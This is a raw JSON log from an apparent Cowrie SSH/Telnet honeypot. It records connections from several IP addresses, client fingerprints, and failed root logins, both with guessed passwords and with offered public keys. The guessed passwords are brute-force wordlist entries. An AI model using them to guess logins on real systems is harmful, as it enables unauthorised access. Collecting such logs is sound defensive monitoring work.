{"eventid":"cowrie.login.failed","username":"root","password":"trytry","message":"login attempt [root/trytry] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:29:31.293489Z","src_ip":"43.135.166.146","session":"1da525c9fc99","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:29:32.366098Z","src_ip":"43.135.166.146","session":"1da525c9fc99","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"190.85.41.170","src_port":55888,"dst_ip":"159.203.135.109","dst_port":22,"session":"3b47d4952080","protocol":"ssh","message":"New connection: 190.85.41.170:55888 (159.203.135.109:22) [session: 3b47d4952080]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:30:12.085300Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:30:12.091544Z","src_ip":"190.85.41.170","session":"3b47d4952080","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:30:12.166639Z","src_ip":"190.85.41.170","session":"3b47d4952080","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Jia123456","message":"login attempt [root/Jia123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:30:12.501743Z","src_ip":"190.85.41.170","session":"3b47d4952080","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:30:13.580498Z","src_ip":"190.85.41.170","session":"3b47d4952080","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"49.88.156.34","src_port":52007,"dst_ip":"10.17.0.5","dst_port":23,"session":"6bb7f81d39b6","protocol":"telnet","message":"New connection: 49.88.156.34:52007 (10.17.0.5:23) [session: 6bb7f81d39b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:30:24.265946Z"}
{"eventid":"cowrie.session.closed","duration":9.742326974868774,"message":"Connection lost after 9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:30:34.008134Z","src_ip":"49.88.156.34","session":"6bb7f81d39b6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.135.166.146","src_port":43198,"dst_ip":"10.17.0.5","dst_port":22,"session":"7d79d24cbef1","protocol":"ssh","message":"New connection: 43.135.166.146:43198 (10.17.0.5:22) [session: 7d79d24cbef1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:31:00.051643Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:31:00.058410Z","src_ip":"43.135.166.146","session":"7d79d24cbef1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:31:00.129452Z","src_ip":"43.135.166.146","session":"7d79d24cbef1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"0a1f21a3417389e0c0a13392c79a7a89","message":"login attempt [root/0a1f21a3417389e0c0a13392c79a7a89] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:31:00.439715Z","src_ip":"43.135.166.146","session":"7d79d24cbef1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:31:01.513418Z","src_ip":"43.135.166.146","session":"7d79d24cbef1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"190.85.41.170","src_port":46886,"dst_ip":"159.203.135.109","dst_port":22,"session":"fe79bb32dbc8","protocol":"ssh","message":"New connection: 190.85.41.170:46886 (159.203.135.109:22) [session: fe79bb32dbc8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:31:37.912941Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:31:37.917979Z","src_ip":"190.85.41.170","session":"fe79bb32dbc8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:31:37.994329Z","src_ip":"190.85.41.170","session":"fe79bb32dbc8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwe.123qwe","message":"login attempt [root/qwe.123qwe] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:31:38.328112Z","src_ip":"190.85.41.170","session":"fe79bb32dbc8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:31:39.406917Z","src_ip":"190.85.41.170","session":"fe79bb32dbc8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"205.254.166.156","src_port":7973,"dst_ip":"159.203.135.109","dst_port":22,"session":"06893315bfc0","protocol":"ssh","message":"New connection: 205.254.166.156:7973 (159.203.135.109:22) [session: 06893315bfc0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:32:22.191291Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:32:22.197621Z","src_ip":"205.254.166.156","session":"06893315bfc0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:32:22.408498Z","src_ip":"205.254.166.156","session":"06893315bfc0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ftpuser123","message":"login attempt [root/ftpuser123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:32:23.279881Z","src_ip":"205.254.166.156","session":"06893315bfc0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:32:24.497828Z","src_ip":"205.254.166.156","session":"06893315bfc0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.135.166.146","src_port":54712,"dst_ip":"10.17.0.5","dst_port":22,"session":"71a90b2f54cd","protocol":"ssh","message":"New connection: 43.135.166.146:54712 (10.17.0.5:22) [session: 71a90b2f54cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:32:30.743155Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:32:30.747645Z","src_ip":"43.135.166.146","session":"71a90b2f54cd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:32:30.817054Z","src_ip":"43.135.166.146","session":"71a90b2f54cd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"gold","message":"login attempt [root/gold] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:32:31.127350Z","src_ip":"43.135.166.146","session":"71a90b2f54cd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:32:32.198988Z","src_ip":"43.135.166.146","session":"71a90b2f54cd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"167.114.156.169","src_port":57982,"dst_ip":"10.17.0.5","dst_port":22,"session":"027d4223ed1f","protocol":"ssh","message":"New connection: 167.114.156.169:57982 (10.17.0.5:22) [session: 027d4223ed1f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:32:52.861843Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:32:52.868491Z","src_ip":"167.114.156.169","session":"027d4223ed1f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:32:52.889428Z","src_ip":"167.114.156.169","session":"027d4223ed1f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e9:4e:58:0f:5c:e6:3b:9b:0d:94:c7:c3:27:62:ff:9d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDLfip0Ur0OlGuPtl1W6RgJPaUnZ26IVVEczj5QKeFqTl6sDq1MgOWP2cHm+MWQpu80H99FmH7xJ8V0KUGGoaZU+LjuDaQxpqisHj6OsvaI2T4F+dGlqTIpRdYdrazK38zREJ0QrocgqllsYfKvogFGw9KTbf4DTxy9SyItB1ickBva6b0lk2E446UfuALKkZuWNXzSaUCkGSrQaJ6LkSf1yZ5VMXVWyauxxxGtDtDqzFOdvRMfNiREG1RFLi3TXBQvUWh7MuIIOh6TrDnnqczyyiL04oSiNgF2fLIw4zGXYMSSl3oOY/rIkotxiiZoPvnfIWLP3NJFESpwNvUcOHt3","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint e9:4e:58:0f:5c:e6:3b:9b:0d:94:c7:c3:27:62:ff:9d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:32:52.970062Z","src_ip":"167.114.156.169","session":"027d4223ed1f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e9:4e:58:0f:5c:e6:3b:9b:0d:94:c7:c3:27:62:ff:9d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDLfip0Ur0OlGuPtl1W6RgJPaUnZ26IVVEczj5QKeFqTl6sDq1MgOWP2cHm+MWQpu80H99FmH7xJ8V0KUGGoaZU+LjuDaQxpqisHj6OsvaI2T4F+dGlqTIpRdYdrazK38zREJ0QrocgqllsYfKvogFGw9KTbf4DTxy9SyItB1ickBva6b0lk2E446UfuALKkZuWNXzSaUCkGSrQaJ6LkSf1yZ5VMXVWyauxxxGtDtDqzFOdvRMfNiREG1RFLi3TXBQvUWh7MuIIOh6TrDnnqczyyiL04oSiNgF2fLIw4zGXYMSSl3oOY/rIkotxiiZoPvnfIWLP3NJFESpwNvUcOHt3","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:32:52.975223Z","src_ip":"167.114.156.169","session":"027d4223ed1f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"8a:ba:a4:f1:1b:7a:f3:d5:e1:c1:7f:15:f7:2c:42:05","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA1PagxBNcbrGvBEDWSA9cCrG4iuXz3iA3wN7Qxl9myA1KDEUZ+x7kQNNJZTjD9NnTWi+tb7O778VCNo987FHyp4LIzKlV8G5Rr3rOby6s/b51CxdYtBQ0tDNlD4LilFTdYzrYPWLlINlON6hbQJutALe+Z6R05L4JL5gHaJjtWToa2YKof23NBEGvNiRZWHoSGLPnSbzff1SzyZ1c2h8FfHieNm7Mau3Iq/ObP1RJgjHk58efN046ER/j93lsF9JRlDca1ftdu0sOaK7D8eQcOWmfWVpd+eVvfrx6fCXuGlp5Dw2Y7ZronkL4m3dYe4XtknAW3aNF8ONsSALL4IrKKQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 8a:ba:a4:f1:1b:7a:f3:d5:e1:c1:7f:15:f7:2c:42:05","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:32:52.998065Z","src_ip":"167.114.156.169","session":"027d4223ed1f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"8a:ba:a4:f1:1b:7a:f3:d5:e1:c1:7f:15:f7:2c:42:05","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA1PagxBNcbrGvBEDWSA9cCrG4iuXz3iA3wN7Qxl9myA1KDEUZ+x7kQNNJZTjD9NnTWi+tb7O778VCNo987FHyp4LIzKlV8G5Rr3rOby6s/b51CxdYtBQ0tDNlD4LilFTdYzrYPWLlINlON6hbQJutALe+Z6R05L4JL5gHaJjtWToa2YKof23NBEGvNiRZWHoSGLPnSbzff1SzyZ1c2h8FfHieNm7Mau3Iq/ObP1RJgjHk58efN046ER/j93lsF9JRlDca1ftdu0sOaK7D8eQcOWmfWVpd+eVvfrx6fCXuGlp5Dw2Y7ZronkL4m3dYe4XtknAW3aNF8ONsSALL4IrKKQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:32:53.004975Z","src_ip":"167.114.156.169","session":"027d4223ed1f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d4:0f:f7:75:28:8c:6f:a9:cb:ce:2f:73:10:ee:05:01","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDJHrsK1yqNmgjj+VDbuZBG+n6IMmqFjcZAoG4uYyDBHJWWFI5p05OzZP7rxhHuOcBGWbhDPR6n6DC5MUKAIfJmBF3vlV3Q9fltBjoFiaxK+khuDBI39xFukW4AyO9PnSUdarvD2kxPmXzqgszBCbLlY+IMat2SSFHHBh/SvlStSlb0OjN48r/H2Ql7WUh/R5A1qYRXKmV1Oo6vlN+Ia0DVWUzMCcv2+pE5eHpkAyqQRqnTMbWmVOCNF5MIDTF32/nEMT39KlQ5jARgTRsFpDh9X+3EKoh71tMEHp+zv8B+vLOtVejsCJ3A4HhQcS4m6qsS1s5lvS9Q2daSy58pcNnT","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d4:0f:f7:75:28:8c:6f:a9:cb:ce:2f:73:10:ee:05:01","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:32:53.026705Z","src_ip":"167.114.156.169","session":"027d4223ed1f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d4:0f:f7:75:28:8c:6f:a9:cb:ce:2f:73:10:ee:05:01","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDJHrsK1yqNmgjj+VDbuZBG+n6IMmqFjcZAoG4uYyDBHJWWFI5p05OzZP7rxhHuOcBGWbhDPR6n6DC5MUKAIfJmBF3vlV3Q9fltBjoFiaxK+khuDBI39xFukW4AyO9PnSUdarvD2kxPmXzqgszBCbLlY+IMat2SSFHHBh/SvlStSlb0OjN48r/H2Ql7WUh/R5A1qYRXKmV1Oo6vlN+Ia0DVWUzMCcv2+pE5eHpkAyqQRqnTMbWmVOCNF5MIDTF32/nEMT39KlQ5jARgTRsFpDh9X+3EKoh71tMEHp+zv8B+vLOtVejsCJ3A4HhQcS4m6qsS1s5lvS9Q2daSy58pcNnT","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:32:53.029540Z","src_ip":"167.114.156.169","session":"027d4223ed1f","protocol":"ssh"}
